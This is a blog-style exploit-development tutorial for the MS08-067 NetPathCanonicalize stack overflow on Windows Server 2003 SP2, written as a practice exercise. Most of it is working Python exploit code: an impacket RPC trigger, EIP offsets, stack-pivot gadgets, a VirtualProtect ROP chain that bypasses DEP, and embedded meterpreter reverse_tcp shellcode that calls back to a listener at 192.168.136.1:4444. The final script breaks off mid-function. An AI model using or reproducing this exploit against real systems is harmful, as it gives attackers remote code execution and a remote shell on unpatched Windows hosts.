In this post we will dive into and old MSRPC Vulnerabilty specifically NetPathCanonicalize.

Understanding the bug

The vulnerabilty is a stack corruption bug, in short the main objective is to remove ‘..' form a path, and do so its using a recursive call, the problem happends when the ‘..' forces the recution to go beyond the last element of the path.

You can find the full bug analysis decompiling-ms08-067

Its old bug…

Yes, theirs lots of information and seemd a good exercise, as the main objective was to recreate the exploit and later try to build the x64 bit version of it, i decided to change things a bit and attempt to use a diferent method to bypass DEP most of the exploits i seen around for Windows 2k3 sp2 use the NtSetInformationProcess this brings some limitations among them the fact that will fail if AlwaysOn policy mode is on it will fail, check out corelan, for the full explanation.
Changing things helps one to practice and since ROP is usualy described as some kind of black magic, better way to understand it is to practice as much as you can.

Trigger the Bug

The tools of the trade are the usual, Immunity debugger and mona, if you don’t know what does are you’r probably trying to run before your know how to walk….. you definity need to learn how to walk first!

The main dependency is python impacket we will use this one to connect to the service and send our poisoned present :D, another detail you might have seen is the cryptic look of the paylod of most exploits that look like the following.

	
	# unknown ref ID
	ref_id = '\x01\x00\x00\x00'		  # Reference ID
	# Server name must be a unic string
	server_name =  '\x10\x00\x00\x00' # Server UNC - MAx Buffer Count
	server_name += '\x00\x00\x00\x00' # Offset
	server_name += '\x10\x00\x00\x00' # Server UNC - Actual Buffer Count
	server_name += '\x50\x50' * 15	  # Server UNC - Buffer Content
	server_name += '\x00\x00' * 1	  # Server UNC - Trailing Null bytes
	# RPC PATH PathName
	path_name =  '\x2f\x00\x00\x00'	  # RPC Path - Max Buffer Count
	path_name += '\x00\x00\x00\x00'	  # Offset
	path_name += '\x2f\x00\x00\x00'	  # RPC Path - Actual Buffer Count
	# Trigger 
	path_name += '\x5c\x00\x45\x00\x5c\x00\x2e\x00'
	path_name += '\x2e\x00\x5c\x00\x2e\x00\x2e\x00'
	path_name += '\x5c\x00'
	
	# Remaining Buffer
	path_name += '\x41' * 74   		   # Remaining RPC Path Buffer
	path_name += '\x00\x00' * 1 	   # RPC Path Trailing Null bytes
	
	# Outbuflen
	outbuf_len  = '\x00\x00' 		  # Padding
	outbuf_len += '\x01\x00\x00\x00'  # Max Buffer Count
	# Prefix
	prefix =  '\x02\x00\x00\x00'	  # Prefix - Max Unicode Count
	prefix += '\x00\x00\x00\x00'	  # Offset
	prefix += '\x02\x00\x00\x00'	  # Prefix - Actual Unicode Count
	prefix += '\x5c\x00\x00\x00'	  # Prefix + Trailing Null Bytes
	# Path Type
	path_type  = '\x01\x00\x00\x00'	  # Pointer to Path Type
	path_type += '\x01\x00'	  		  # Path type and flags
	# Flags
	flags = '\x00\x00'				  # Flags		

What

Ok that might not seem easy to digest, but after you look at the code that crytic strings will make alot of sence.
Essentially, that payload is in the final format that MSRPC understands in this case they are NDR types and before they are sent the data to be sent needs to be formated that way, it all become clear later.

The vunerable function signature is as follows:

	NET_API_STATUS NetprPathCanonicalize(
     [in, string, unique] SRVSVC_HANDLE ServerName,
     [in, string] WCHAR* PathName,                     <- Vulnerable parameter
     [out, size_is(OutbufLen)] unsigned char* Outbuf,
     [in, range(0,64000)] DWORD OutbufLen,
     [in, string] WCHAR* Prefix,
     [in, out] DWORD* PathType,
     [in] DWORD Flags
     );

 

The way to trigger the bug is to send it a path that makes the algorithm go beyond the last “\”, and it will do so until he finds a “\” a copies from their to the end of the string.
They are many ways to trigger the error without making it chase its own tail to oblivion here are some of them.

 "\\A\\..\\..\\" + "A" * 74 
  

And the one you can find at the metasploit implementation of the exploit, initialy tryed the first one when i started working on the rop chain, realised space was short, so i decided to go with the metasploit version, but building that in the format you see above is royal pain the ass, so i after looking around i finaly understood how they were building that so there are the funtions that will be used to craft that cryptic string.

def ndr_long(value):
     return pack("<L", value)
	 
	def ndr_aling(value):
     return "\x00" * ((4 - (len(value) & 3)) & 3)
	 
def ndr_uwstring(value):
     value = value + "\x00"
     rvalue = ndr_long(randint(1, 0xffffffff))
     length = ndr_long(len(value))
     utf16_value = value.encode("utf-16le")
     aligned_utf16_value = ndr_aling(utf16_value)
    
     return rvalue + length + ndr_long(0) + length + utf16_value + aligned_utf16_value
	 
def ndr_wstring(value):
     value = value + "\x00"
     length = ndr_long(len(value))
     utf16_value = value.encode("utf-16le")
     aligned_utf16_value = ndr_aling(utf16_value)
    
     return length + ndr_long(0) + length + utf16_value + aligned_utf16_value
	 
def ndr_wstring_prebuilt(value):
     if len(value) % 2 > 0:
         value = value + "\x00"
        
     length = len(value) / 2
     llength = ndr_long(length)
     return llength + ndr_long(0) + llength + value + ndr_aling(value)
 

As incredible as it might seem the simplest implementation was taken from metasploit!!! yeah probably the first time i was able to understand ruby :P, i tryed to use the python impacket type implementation but i wasn’t able to trigger the bug, not realy shore why, the above is far for an acurate its only correct enough to go beyond the initial service checks and trigger the bug.

BLAH BLAH BLAH Show us the crash, OK…

Trigger

So the code for that crash is as follows:

	#!/usr/bin/python
	# -*- coding: utf-8 -*-
	
	import sys
	from struct import pack
	from string import ascii_uppercase
	from random import randint
	from random import choice
	from impacket import smb
	from impacket import uuid
	from impacket import dcerpc
	from impacket.dcerpc.v5 import transport
	from impacket.structure import Structure
	
def ndr_long(value):
      return pack("<L", value)
	  
def ndr_aling(value):
      return "\x00" * ((4 - (len(value) & 3)) & 3)
	  
def ndr_uwstring(value):
      value = value + "\x00"
      rvalue = ndr_long(randint(1, 0xffffffff))
      length = ndr_long(len(value))
      utf16_value = value.encode("utf-16le")
      aligned_utf16_value = ndr_aling(utf16_value)
    
      return rvalue + length + ndr_long(0) + length + utf16_value + aligned_utf16_value
	  
def ndr_wstring(value):
      value = value + "\x00"
      length = ndr_long(len(value))
      utf16_value = value.encode("utf-16le")
      aligned_utf16_value = ndr_aling(utf16_value)
    
      return length + ndr_long(0) + length + utf16_value + aligned_utf16_value
	  
def ndr_wstring_prebuilt(value):
      if len(value) % 2 > 0:
          value = value + "\x00"
        
      length = len(value) / 2
      return ndr_long(length) + ndr_long(0) + ndr_long(length) + value + ndr_aling(value)
	  
def rand_text_alpha(length):
      return ''.join(choice(ascii_uppercase) for _ in range(length))
	  
def to_unicode(value):
      return value.encode("utf-16le")
	  
def connect(target):
      trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
      try:
          trans.connect()
          print "[*]\tConnected to %s " % target
      except:
          print "[*]\tConnection fault"
          exit()
      dce = trans.DCERPC_class(trans)
      dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
      print "[*]\tBinding"
      return dce
	  
	  """
	  #   NET_API_STATUS NetprPathCanonicalize(
	  #   [in, string, unique] SRVSVC_HANDLE ServerName,
	  #   [in, string] WCHAR* PathName,
	  #   [out, size_is(OutbufLen)] unsigned char* Outbuf,
	  #   [in, range(0,64000)] DWORD OutbufLen,
	  #   [in, string] WCHAR* Prefix,
	  #   [in, out] DWORD* PathType,
	  #   [in] DWORD Flags
	  #   );
	  """
	  
def build_payload():
      """
      """
      server = "P" * 6
      prefix = '\\'
      outbuf = 2
      path_type = 1
      flags = 0
	  
      # path setup
      trigger = to_unicode("\\..\\..\\")
      fbpath = "A" * 508
      pad = to_unicode("ACSDPOX")
      spath = "B" * 78
      path = to_unicode(prefix) + fbpath + trigger + pad + spath + "\x00" * 2
      print len(path)
      # Create the call stub string
      stub = ndr_uwstring(server)
      stub += ndr_wstring_prebuilt(path)
      stub += ndr_long(outbuf)
      stub += ndr_wstring(prefix)
      stub += ndr_long(path_type)
      stub += ndr_long(flags)    
      return stub
    
def exploit(dce):
      stub = build_payload()
      print "[*]\tCall stub size %s" % len(stub)
      #NetPathCanonicalize func. opcode 0x1f
      dce.call(0x1f, stub)
	  
if __name__ == "__main__":
      if len(sys.argv) == 2:
          target = sys.argv[1]
          dce = connect(target)
          if dce is not None:
              print "[*]\tBuilding exploit string"
              exploit(dce)
              print "[*]\tPayload delivered"
  
  

Control EIP

From their, you go the usual dance find the offsets, to control EIP you can use the pattern trick, for that you will replace the 78 B’s with the pattern and fire the exploit again the crash should look like this:

Offset Offset

The Change to the result above is:

    
trigger = to_unicode("\\..\\..\\")
fbpath = "A" * 508
pad = to_unicode("ACSDPOX")
# size: 78
spath = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5"
path = to_unicode(prefix) + fbpath + trigger + pad + spath + "\x00" * 2
    
print "Evil path size: %s" % len(path)
	

After that we control the EIP its time to call our secret weapon, MONA.py, and search for rop chains and stack pivots, the idea was to use the space full of A’s to store the DEP ROP and shellcode for that we will use the remainding space to build a rop chain and jump into that area.

Rop your way into the shellcode

After running mona with “stackpivot -cpd ‘\x00\x0a\x0d’ -m msvcrt.dll,shell32.dll”, i decided to go with:

 ADD ESP,30 # POP EDX # RETN [msvcrt.dll]

Given that you need figger out the offets after each jump, after that our rop jump trick should have suscessfuly landed into the A’s so things will look like the following:

	
	jump = pack("<L", 0x77BDF444)
	
	stackpivot = [
        jump, # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
        "\x44" * 14,
        jump, # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
        jump, # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
        jump, # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
        jump, # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
        "\x46" * 2,
        jump, # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
        "\x46" * 16,
        jump, # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
    ]
	
    return ''.join(stackpivot)
	

Rop Offset

Disable DEP

Ok, that one is out of the picture i’m shore their are other ways to do that probably even better, with that out of the way the next step is to find out the offset in 508 A’s, the process is same as before replace it with a patttern get the offset it was 98 bytes from the begining, this means that our DEP ROP bypass will start their.
With the help of mona again to collect rop gagets and suggestions, things become a lot easier than they use to be, most of the heavy lifting is done by the script you just need to check it and make shore its correct give it a tweek here and their.

 # rop chain generated with mona.py - www.corelan.be
  0x77bc5f6e,  # POP EAX # RETN [msvcrt.dll] 
  0x7c8d1748,  # ptr to &VirtualProtect() [IAT SHELL32.dll]
  0x7c9db891,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll] 
  0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll] 
  0x77bac145,  # POP EBP # RETN [msvcrt.dll] 
  0x7c9b640c,  # & jmp esp [SHELL32.dll]
  0x7c946761,  # POP EAX # RETN [SHELL32.dll] 
  0xfffffdff,  # Value to negate, will become 0x00000201
  0x7c9b2676,  # NEG EAX # RETN [SHELL32.dll] 
  0x7ca2a6af,  # XCHG EAX,EBX # RETN [SHELL32.dll] 
  0x77bdf0da,  # POP EAX # RETN [msvcrt.dll] 
  0xffffffc0,  # Value to negate, will become 0x00000040
  0x7c9b2676,  # NEG EAX # RETN [SHELL32.dll] 
  0x77bb8285,  # XCHG EAX,EDX # RETN [msvcrt.dll] 
  0x77bbc98a,  # POP ECX # RETN [msvcrt.dll] 
  0x7cadc046,  # &Writable location [SHELL32.dll]
  0x7c92940e,  # POP EDI # RETN [SHELL32.dll] 
  0x7c9b2678,  # RETN (ROP NOP) [SHELL32.dll]
  0x77bdf0da,  # POP EAX # RETN [msvcrt.dll] 
  0x90909090,  # nop
  0x7c8f417c,  # PUSHAD # RETN [SHELL32.dll] 

Alignment and shellcode

Ajust the poc exploit and place the breakpoints and replace the rest of the payload after the DEP ROP with NOPS or 0xCC breapoints, make shore everithing is correct, and check where EIP will point to after returning from ourt VirtualProtect ROP Chain.

You will notice that it will require 4 NOPS followed by the stack ajustment that is the same metasploit is using, at this stage i was preaty confident that i had something the problem was space was geting short, soc before we go further our poc exploit by now looks like this:

#!/usr/bin/python

# -*- coding: utf-8 -*-


##################################################################################
# 
# Vulnerability: NetPathCanonicalize Stack corruption
# Dep bypass with VirtualProtect
# Author: 0x4E0x650x6F
##################################################################################

import sys
from struct import pack
from string import ascii_uppercase
from random import randint
from random import choice
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure


SHELLCODE = ()

"""
NDR Type build functions
This will be used to 'format' the string 
in a way that is compatible with what Windows MSRPC
service expects
"""

def ndr_long(value):
    return pack("<L", value)


def ndr_aling(value):
    return "\x00" * ((4 - (len(value) & 3)) & 3)


def ndr_uwstring(value):
    value = value + "\x00"
    rvalue = ndr_long(randint(1, 0xffffffff))
    length = ndr_long(len(value))
    utf16_value = value.encode("utf-16le")
    aligned_utf16_value = ndr_aling(utf16_value)
    
    return rvalue + length + ndr_long(0) + length + utf16_value + aligned_utf16_value


def ndr_wstring(value):
    value = value + "\x00"
    length = ndr_long(len(value))
    utf16_value = value.encode("utf-16le")
    aligned_utf16_value = ndr_aling(utf16_value)
    
    return length + ndr_long(0) + length + utf16_value + aligned_utf16_value


def ndr_wstring_prebuilt(value):
    if len(value) % 2 > 0:
        value = value + "\x00"
        
    length = len(value) / 2
    llength = ndr_long(length)
    return llength + ndr_long(0) + llength + value + ndr_aling(value)


def rand_text_alpha(length):
    return ''.join(choice(ascii_uppercase) for _ in range(length))


def to_unicode(value):
    return value.encode("utf-16le")


def connect(target):
    trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
    try:
        trans.connect()
        print "[*]\tConnected to %s " % target
    except:
        print "[*]\tConnection fault"
        exit()
    dce = trans.DCERPC_class(trans)
    dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
    print "[*]\tBinding"
    return dce


def jmprop():
    rop1    =  pack("<L", 0x77BDF444)
    offsets = [0, 18, 36, 56], 
    rop2 = rop1 * 4
    
    stackpivot = list("\x44" * 60)
    
    stackpivot[0: len(rop1)] = rop1
    stackpivot[18: (len(rop2) + 18)] = rop2
    stackpivot[36: (len(rop1) + 36)] = rop1
    stackpivot[56: (len(rop1) + 56)] = rop1

    return ''.join(stackpivot)


def deprop():
    """
    rop -m msvcrt.dll,shell32.dll -cpb '\x00\x0a\x0d'
    rop chain generated with mona.py - www.corelan.be
    Register setup for VirtualProtect() :
    --------------------------------------------
     EAX = NOP (0x90909090)
     ECX = lpOldProtect (ptr to W address)
     EDX = NewProtect (0x40)
     EBX = dwSize
     ESP = lPAddress (automatic)
     EBP = ReturnTo (ptr to jmp esp)
     ESI = ptr to VirtualProtect()
     EDI = ROP NOP (RETN)
     --- alternative chain ---
     EAX = ptr to &VirtualProtect()
     ECX = lpOldProtect (ptr to W address)
     EDX = NewProtect (0x40)
     EBX = dwSize
     ESP = lPAddress (automatic)
     EBP = POP (skip 4 bytes)
     ESI = ptr to JMP [EAX]
     EDI = ROP NOP (RETN)
     + place ptr to "jmp esp" on stack, below PUSHAD
    --------------------------------------------
    """
    rop_gadgets = [
        0x77bc5f6e,  # POP EAX # RETN [msvcrt.dll] 
        0x7c8d1748,  # ptr to &VirtualProtect() [IAT SHELL32.dll]
        0x7c9db891,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll] 
        0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll] 
        0x77bac145,  # POP EBP # RETN [msvcrt.dll] 
        0x7c9b640c,  # & jmp esp [SHELL32.dll]
        0x7c946761,  # POP EAX # RETN [SHELL32.dll] 
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x7c9b2676,  # NEG EAX # RETN [SHELL32.dll] 
        0x7ca2a6af,  # XCHG EAX,EBX # RETN [SHELL32.dll] 
        0x77bdf0da,  # POP EAX # RETN [msvcrt.dll] 
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x7c9b2676,  # NEG EAX # RETN [SHELL32.dll] 
        0x77bb8285,  # XCHG EAX,EDX # RETN [msvcrt.dll] 
        0x77bbc98a,  # POP ECX # RETN [msvcrt.dll] 
        0x7cadc046,  # &Writable location [SHELL32.dll]
        0x7c92940e,  # POP EDI # RETN [SHELL32.dll] 
        0x7c9b2678,  # RETN (ROP NOP) [SHELL32.dll]
        0x77bdf0da,  # POP EAX # RETN [msvcrt.dll] 
        0x90909090,  # nop
        0x7c8f417c,  # PUSHAD # RETN [SHELL32.dll]     
    ]
    return ''.join(pack('<I', _) for _ in rop_gadgets)


def payload():
    plsize   = 508
    ploffset = 106
    plnops   = 4
    stkalign = "\x81\xE4\xF0\xFF\xFF\xFF"
    
    rop   = deprop()
    
    nops = "\x90" * (plsize - ploffset)
    
    payload = list('\x41' * plsize)
    payload[ploffset: (ploffset + len(nops))] = nops
    
    # prepare the shellcode parts
    # calc offsets
    depoffset = (ploffset + len(rop))
    salinoffset = (depoffset + plnops)
    shellcodeffset = (depoffset + plnops + len(stkalign))
    
    # assemble
    payload[ploffset: depoffset] = rop
    payload[salinoffset: shellcodeffset] = stkalign
    payload[shellcodeffset: (shellcodeffset + len(SHELLCODE))] = SHELLCODE
    
    return ''.join(payload)
	
 
	def exploit(target):
	    """
	    NET_API_STATUS NetprPathCanonicalize(
	     [in, string, unique] SRVSVC_HANDLE ServerName,
	     [in, string] WCHAR* PathName,                     <- Vulnerable parameter
	     [out, size_is(OutbufLen)] unsigned char* Outbuf,
	     [in, range(0,64000)] DWORD OutbufLen,
	     [in, string] WCHAR* Prefix,
	     [in, out] DWORD* PathType,
	     [in] DWORD Flags
	     );
   
	   The evil path Size will be 618 the path format will be similar to metasploit:
	   [UNICODE PREFIX][payload 508][trigger 14][pading 14][landing buffer 78][null 2]
	    """
	    jumperoffset = 4
	    ldsize = 78
    
	    SERVER_LENGTH = 6
	    server = rand_text_alpha(SERVER_LENGTH)
	    prefix = '\\'
	    outbuf = 2
	    path_type = 1
	    flags = 0
    
	    trigger = to_unicode("\\..\\..\\")
	    pad = to_unicode("ACSDPOX")    
    
	    pyload = payload()
	    jumper_rop = jmprop()
    
	    jumper = list("\x42" * ldsize)
	    jumper[jumperoffset:(jumperoffset + len(jumper_rop))] = jumper_rop
    
	    path = to_unicode(prefix) + pyload + trigger + pad + ''.join(jumper) + "\x00" * 2
    
	    print "Evil Jumper size: %s " % len(jumper)
	    print "Evil Payload size: %s " % len(pyload)
	    print "Evil Path size: %s " % len(path)
    
	    # Create the call stub string
	    stub = ndr_uwstring(server)
	    stub += ndr_wstring_prebuilt(path)
	    stub += ndr_long(outbuf)
	    stub += ndr_wstring(prefix)
	    stub += ndr_long(path_type)
	    stub += ndr_long(flags)
    
	    dce = connect(target)
	    print "[*]\tCall stub size %s" % len(stub)
    
	    # NetPathCanonicalize func. opcode 0x1f
	    dce.call(0x1f, stub)
    
	    print "[*]\tPayload delivered"
	
		if __name__ == "__main__":
	    	if len(sys.argv) == 2:
	        	target = sys.argv[1]
	        print "[*]\tTarget: %s" % (target)
	        exploit(target)
	    else:
	        print "[*]\t%s <ipaddress>" % sys.argv[0]

The moment of truth do we have space of a shell.

##PROFIT

Turns out metasploit did work his magic and pulled that one off heheheheh, 306 bytes SWEET.

msfvenom --platform windows  -p windows/meterpreter/reverse_tcp -a x86 \
 -b '\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40' LHOST=192.168.136.1 LPORT=4444 --smallest -f py
Payload size: 306 bytes
Final size of py file: 1474 bytes

Rop Offset

After some ajustements and and code formating our final exploit looks like this:

#!/usr/bin/python

# -*- coding: utf-8 -*-


##################################################################################
# 
# Vulnerability: NetPathCanonicalize Stack corruption
# Dep bypass with VirtualProtect
# Author: 0x4E0x650x6F
##################################################################################

import sys
from struct import pack
from string import ascii_uppercase
from random import randint
from random import choice
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure


TARGETS = {
    "win2k3sp2": {
        # The avaliable space for rop + shellcode        
        "size":  508,
        # Size of the string where EIP will end up after 
        # triggering the crash
        "ldsize": 78,
        # Offset where EIP lands after triggering the crash 
        "retoffset": 4,
        # 98 of the 508 chars will not show on the stack
        # plus 8 bytes to aling EIP with initial ropery jumps
        "ploffset": 106,
        # Stack privot rop chain offsets
        "stkpivotoffset": [0, 18, 36, 56], 
        # To aling the stack and allow the shellcode to run 
        # properly we need to pre append 4 NOPS otherwize 
        # shellcode will crash
        "plnops" : 4,
        # stack alignment same as metasploit
        "stkalign": "\x81\xE4\xF0\xFF\xFF\xFF",
        # Found with mona will be used to jump into 
        # DEP bypass + shellcode
        # ADD ESP,30 # POP EDX # RETN [msvcrt.dll]
        "stkpivot": pack("<L", 0x77BDF444),
    }
}

# msfvenom --platform windows  -p windows/meterpreter/reverse_tcp -a x86 
# -b '\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40' LHOST=192.168.136.1 LPORT=4444 --smallest -f py
#Payload size: 306 bytes
#Final size of py file: 1474 bytes
SHELLCODE = (
    "\x6a\x47\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13"
    "\xf4\x7a\x8e\x94\x83\xeb\xfc\xe2\xf4\x08\x92\x0c\x94"
    "\xf4\x7a\xee\x1d\x11\x4b\x4e\xf0\x7f\x2a\xbe\x1f\xa6"
    "\x76\x05\xc6\xe0\xf1\xfc\xbc\xfb\xcd\xc4\xb2\xc5\x85"
    "\x22\xa8\x95\x06\x8c\xb8\xd4\xbb\x41\x99\xf5\xbd\x6c"
    "\x66\xa6\x2d\x05\xc6\xe4\xf1\xc4\xa8\x7f\x36\x9f\xec"
    "\x17\x32\x8f\x45\xa5\xf1\xd7\xb4\xf5\xa9\x05\xdd\xec"
    "\x99\xb4\xdd\x7f\x4e\x05\x95\x22\x4b\x71\x38\x35\xb5"
    "\x83\x95\x33\x42\x6e\xe1\x02\x79\xf3\x6c\xcf\x07\xaa"
    "\xe1\x10\x22\x05\xcc\xd0\x7b\x5d\xf2\x7f\x76\xc5\x1f"
    "\xac\x66\x8f\x47\x7f\x7e\x05\x95\x24\xf3\xca\xb0\xd0"
    "\x21\xd5\xf5\xad\x20\xdf\x6b\x14\x25\xd1\xce\x7f\x68"
    "\x65\x19\xa9\x12\xbd\xa6\xf4\x7a\xe6\xe3\x87\x48\xd1"
    "\xc0\x9c\x36\xf9\xb2\xf3\x85\x5b\x2c\x64\x7b\x8e\x94"
    "\xdd\xbe\xda\xc4\x9c\x53\x0e\xff\xf4\x85\x5b\xfe\xfe"
    "\x12\x4e\x3c\x7c\x7b\xe6\x96\xf4\x6b\xd2\x1d\x12\x2a"
    "\xde\xc4\xa4\x3a\xde\xd4\xa4\x12\x64\x9b\x2b\x9a\x71"
    "\x41\x63\x10\x9e\xc2\xa3\x12\x17\x31\x80\x1b\x71\x41"
    "\x71\xba\xfa\x98\x0b\x34\x86\xe1\x18\x12\x7e\x21\x56"
    "\x2c\x71\x41\x9e\x7a\xe4\x90\xa2\x2d\xe6\x96\x2d\xb2"
    "\xd1\x6b\x21\xf1\xb8\xfe\xb4\x12\x8e\x84\xf4\x7a\xd8"
    "\xfe\xf4\x12\xd6\x30\xa7\x9f\x71\x41\x67\x29\xe4\x94"
    "\xa2\x29\xd9\xfc\xf6\xa3\x46\xcb\x0b\xaf\x8f\x57\xdd"
    "\xbc\xfb\x7a\x37\x7a\x8e\x94"
)

"""
NDR Type build functions
This will be used to 'format' the string 
in a way that is compatible with what Windows MSRPC
service expects
"""

def ndr_long(value):
    return pack("<L", value)


def ndr_aling(value):
    return "\x00" * ((4 - (len(value) & 3)) & 3)


def ndr_uwstring(value):
    value = value + "\x00"
    rvalue = ndr_long(randint(1, 0xffffffff))
    length = ndr_long(len(value))
    utf16_value = value.encode("utf-16le")
    aligned_utf16_value = ndr_aling(utf16_value)
    
    return rvalue + length + ndr_long(0) + length + utf16_value + aligned_utf16_value


def ndr_wstring(value):
    value = value + "\x00"
    length = ndr_long(len(value))
    utf16_value = value.encode("utf-16le")
    aligned_utf16_value = ndr_aling(utf16_value)
    
    return length + ndr_long(0) + length + utf16_value + aligned_utf16_value


def ndr_wstring_prebuilt(value):
    if len(value) % 2 > 0:
        value = value + "\x00"
        
    length = len(value) / 2
    llength = ndr_long(length)
    return llength + ndr_long(0) + llength + value + ndr_aling(value)


def rand_text_alpha(length):
    return ''.join(choice(ascii_uppercase) for _ in range(length))


def to_unicode(value):
    return value.encode("utf-16le")


def connect(target):
    trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
    try:
        trans.connect()
        print "[*]\tConnected to %s " % target
    except:
        print "[*]\tConnection fault"
        exit()
    dce = trans.DCERPC_class(trans)
    dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
    print "[*]\tBinding"
    return dce

# REAL Magic begins here!

def offsets(platform):
    """
    An efford to avoid magic numbers!
    """
    if platform in TARGETS:
        return TARGETS[platform]
    else:
        return False


def jmprop(cfg):
    """
    Size 60 stack pivots to jump to the payload
    ROP format will be:
    [ROP 4][junk 14][ROP 4][ROP 4][ROP 4][ROP 4][junk 2][ROP 4][junk 16][ROP 4]
    After all this jumping we will land 106 bytes passed the payload buffer
    """
    rop1 = cfg['stkpivot']
    offsets = cfg['stkpivotoffset']
    rop2 = rop1 * 4
    
    stackpivot = list("\x44" * 60)
    
    stackpivot[offsets[0]: len(rop1)] = rop1
    stackpivot[offsets[1]: (len(rop2) + offsets[1])] = rop2
    stackpivot[offsets[2]: (len(rop1) + offsets[2])] = rop1
    stackpivot[offsets[3]: (len(rop1) + offsets[3])] = rop1

    return ''.join(stackpivot)


def deprop():
    """
    rop -m msvcrt.dll,shell32.dll -cpb '\x00\x0a\x0d'
    rop chain generated with mona.py - www.corelan.be
    Register setup for VirtualProtect() :
    --------------------------------------------
     EAX = NOP (0x90909090)
     ECX = lpOldProtect (ptr to W address)
     EDX = NewProtect (0x40)
     EBX = dwSize
     ESP = lPAddress (automatic)
     EBP = ReturnTo (ptr to jmp esp)
     ESI = ptr to VirtualProtect()
     EDI = ROP NOP (RETN)
     --- alternative chain ---
     EAX = ptr to &VirtualProtect()
     ECX = lpOldProtect (ptr to W address)
     EDX = NewProtect (0x40)
     EBX = dwSize
     ESP = lPAddress (automatic)
     EBP = POP (skip 4 bytes)
     ESI = ptr to JMP [EAX]
     EDI = ROP NOP (RETN)
     + place ptr to "jmp esp" on stack, below PUSHAD
    --------------------------------------------
    """
    rop_gadgets = [
        0x77bc5f6e,  # POP EAX # RETN [msvcrt.dll] 
        0x7c8d1748,  # ptr to &VirtualProtect() [IAT SHELL32.dll]
        0x7c9db891,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [SHELL32.dll] 
        0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll] 
        0x77bac145,  # POP EBP # RETN [msvcrt.dll] 
        0x7c9b640c,  # & jmp esp [SHELL32.dll]
        0x7c946761,  # POP EAX # RETN [SHELL32.dll] 
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x7c9b2676,  # NEG EAX # RETN [SHELL32.dll] 
        0x7ca2a6af,  # XCHG EAX,EBX # RETN [SHELL32.dll] 
        0x77bdf0da,  # POP EAX # RETN [msvcrt.dll] 
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x7c9b2676,  # NEG EAX # RETN [SHELL32.dll] 
        0x77bb8285,  # XCHG EAX,EDX # RETN [msvcrt.dll] 
        0x77bbc98a,  # POP ECX # RETN [msvcrt.dll] 
        0x7cadc046,  # &Writable location [SHELL32.dll]
        0x7c92940e,  # POP EDI # RETN [SHELL32.dll] 
        0x7c9b2678,  # RETN (ROP NOP) [SHELL32.dll]
        0x77bdf0da,  # POP EAX # RETN [msvcrt.dll] 
        0x90909090,  # nop
        0x7c8f417c,  # PUSHAD # RETN [SHELL32.dll]     
    ]
    return ''.join(pack('<I', _) for _ in rop_gadgets)


def payload(cfg):
    plsize   = cfg['size']
    ploffset = cfg['ploffset']
    plnops   = cfg['plnops']
    stkalign = cfg['stkalign']
    
    rop   = deprop()
    
    nops = "\x90" * (plsize - ploffset)
    
    payload = list('\x41' * plsize)
    payload[ploffset: (ploffset + len(nops))] = nops
    # prepare the shellcode parts
    # calc offsets
    depoffset = (ploffset + len(rop))
    salinoffset = (depoffset + plnops)
    shellcodeffset = (depoffset + plnops + len(stkalign))
    
    # assemble
    payload[ploffset: depoffset] = rop
    payload[salinoffset: shellcodeffset] = stkalign
    payload[shellcodeffset: (shellcodeffset + len(SHELLCODE))] = SHELLCODE
    
    return ''.join(payload)


def exploit(target, cfg):
    """
    NET_API_STATUS NetprPathCanonicalize(
     [in, string, unique] SRVSVC_HANDLE ServerName,
     [in, string] WCHAR* PathName,                     <- Vulnerable parameter
     [out, size_is(OutbufLen)] unsigned char* Outbuf,
     [in, range(0,64000)] DWORD OutbufLen,
     [in, string] WCHAR* Prefix,
     [in, out] DWORD* PathType,
     [in] DWORD Flags
     );
   
   The evil path Size will be 618 the path format will be similar to metasploit:
   [UNICODE PREFIX][payload 508][trigger 14][pading 14][landing buffer 78][null 2]
    """
    jumperoffset = cfg['retoffset']
    ldsize = cfg['ldsize']
    
    SERVER_LENGTH = 6
    server = rand_text_alpha(SERVER_LENGTH)
    prefix = '\\'
    outbuf = 2
    path_type = 1
    flags = 0
    
    trigger = to_unicode("\\..\\..\\")
    pad = to_unicode("ACSDPOX")    
    
    pyload = payload(cfg)
    jumper_rop = jmprop(cfg)
    
    jumper = list("\x42" * ldsize)
    jumper[jumperoffset:(jumperoffset + len(jumper_rop))] = jumper_rop
    
    path = to_unicode(prefix) + pyload + trigger + pad + ''.join(jumper) + "\x00" * 2
    
    print "Evil Jumper size: %s " % len(jumper)
    print "Evil Payload size: %s " % len(pyload)
    print "Evil Path size: %s " % len(path)
    
    # Create the call stub string
    stub = ndr_uwstring(server)
    stub += ndr_wstring_prebuilt(path)
    stub += ndr_long(outbuf)
    stub += ndr_wstring(prefix)
